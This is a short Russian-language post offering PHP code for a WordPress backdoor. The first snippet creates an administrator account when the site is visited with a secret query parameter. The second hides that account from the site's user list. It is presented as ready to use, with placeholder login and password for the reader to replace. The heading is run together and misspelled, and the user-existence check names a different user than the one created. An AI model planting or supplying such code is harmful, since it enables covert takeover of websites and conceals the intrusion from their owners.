php Бэкдордлявордпрес。 Добавляетпользовтеля

Posted 2021-05-04

// активация бэкдора http://www.yourdomain.com/?backdoor=knockknock
// name — Логин pass — Пароль. Меняем на свои.

add_action('wp_head', 'wploop_backdoor'); 
function wploop_backdoor() {
        If ($_GET['backdoor'] == 'knockknock') {
                require('wp-includes/registration.php');
                If (!username_exists('username')) {
                        $user_id = wp_create_user('name', 'pass');
                        $user = new WP_User($user_id);
                        $user->set_role('administrator');
                }
        }
}
?>


// Прячем пользователя в списке пользователей
// name — Логин пользователя

function w45345p_hide_specific_user($user_search) {
global $wpdb;
$user_search->query_where =
str_replace('WHERE 1=1',
"WHERE 1=1 AND {$wpdb->users}.user_login != 'name'",
$user_search->query_where
);
}
add_action('pre_user_query','w45345p_hide_specific_user');